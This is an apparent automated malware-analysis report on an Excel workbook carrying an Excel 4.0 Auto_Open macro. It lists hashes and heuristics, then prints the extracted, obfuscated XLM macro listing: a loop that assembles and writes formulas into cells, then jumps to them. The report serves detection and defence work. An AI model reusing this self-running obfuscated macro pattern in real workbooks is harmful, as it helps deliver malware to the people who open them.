Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4564162f559329f3…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:46:01 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 4dd930dbd7965e616a6050259ecb9220 SHA-1: 8f7e7e77f93ee29ee8eb62950a782f68adbe8713 SHA-256: 4564162f559329f32a15df31d513754e13406713effc997e2fdab97fddfb7c5c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6460 bytes
SHA-256: dd0366cba90213dde600563203732f3b577e39b0ed21d9dcd4a82243a4202ec9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  JyHpw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B146 
' 0018     22 LABEL : Cell Value, String Constant - bkHXuuN len=0 
' 0018     22 LABEL : Cell Value, String Constant - Bzqfjvs len=0 
' 0018     21 LABEL : Cell Value, String Constant - ChfPjQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - CiNyaAWRrAN len=0 
' 0018     27 LABEL : Cell Value, String Constant - CLPqEyXYUShb len=0 
' 0018     23 LABEL : Cell Value, String Constant - DPaVWdHv len=0 
' 0018     27 LABEL : Cell Value, String Constant - FpFwxftprhuW len=0 
' 0018     22 LABEL : Cell Value, String Constant - hlHAEPx len=0 
' 0018     21 LABEL : Cell Value, String Constant - jfKmnF len=0 
' 0018     22 LABEL : Cell Value, String Constant - jNifmiW len=0 
' 0018     20 LABEL : Cell Value, String Constant - krofs len=0 
' 0018     22 LABEL : Cell Value, String Constant - MvQjdfR len=0 
' 0018     20 LABEL : Cell Value, String Constant - nHXbT len=0 
' 0018     27 LABEL : Cell Value, String Constant - qhucpjhxPJOT len=0 
' 0018     24 LABEL : Cell Value, String Constant - rNehzeWoq len=0 
' 0018     20 LABEL : Cell Value, String Constant - shVQX len=0 
' 0018     21 LABEL : Cell Value, String Constant - TEMPZb len=0 
' 0018     22 LABEL : Cell Value, String Constant - UVUxGFn len=0 
' 0018     27 LABEL : Cell Value, String Constant - xPsOifcjxCep len=0 
' 0018     25 LABEL : Cell Value, String Constant - xqGkbHDNAP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  JyHpw,B55,"SET.NAME("TEMPZb",VALUE("0"))",""
'  JyHpw,B58,"SET.NAME("hlHAEPx",TEMPZb)",""
'  JyHpw,B60,"SET.NAME("qhucpjhxPJOT",TEMPZb)",""
'  JyHpw,B65,"SET.NAME("Bzqfjvs",COUNTA(jNifmiW))",""
'  JyHpw,B69,"SET.NAME("jfKmnF",COUNTA(nHXbT))",""
'  JyHpw,B72,[],""
'  JyHpw,B76,"SET.NAME("FpFwxftprhuW","")",""
'  JyHpw,B80,"hlHAEPx",""
'  JyHpw,B82,"SET.NAME("CLPqEyXYUShb",HLOOKUP("*",jNifmiW,hlHAEPx,FALSE))",""
'  JyHpw,B85,"UVUxGFn",""
'  JyHpw,B89,"SET.NAME("krofs",TEMPZb)",""
'  JyHpw,B93,[],""
'  JyHpw,B97,"krofs",""
'  JyHpw,B99,"CiNyaAWRrAN",""
'  JyHpw,B102,"ChfPjQ",""
'  JyHpw,B105,"bkHXuuN",""
'  JyHpw,B110,"SET.NAME("xqGkbHDNAP",VALUE(HLOOKUP("*",nHXbT,bkHXuuN,FALSE)))",""
'  JyHpw,B112,"rNehzeWoq",""
'  JyHpw,B117,"FpFwxftprhuW",""
'  JyHpw,B121,"qhucpjhxPJOT",""
'  JyHpw,B124,NEXT(),""
'  JyHpw,B127,"DPaVWdHv",""
'  JyHpw,B132,"SET.NAME("f",INT(T(FORMULA(T(FpFwxftprhuW)&"",""&T(DPaVWdHv)))))",""
'  JyHpw,B134,"shVQX",""
'  JyHpw,B138,NEXT(),""
'  JyHpw,B141,RETURN(),""
'  JyHpw,B165,"SET.NAME("xPsOifcjxCep",B55)",""
'  JyHpw,B168,"jNifmiW",""
'  JyHpw,B172,"SET.NAME("nHXbT",R89C14)",""
'  JyHpw,B177,"SET.NAME("shVQX",187)",""
'  JyHpw,B181,"SET.NAME("MvQjdfR",2)",""
'  JyHpw,B186,xPsOifcjxCep(),""
'  JyHpw,B187,HALT(),""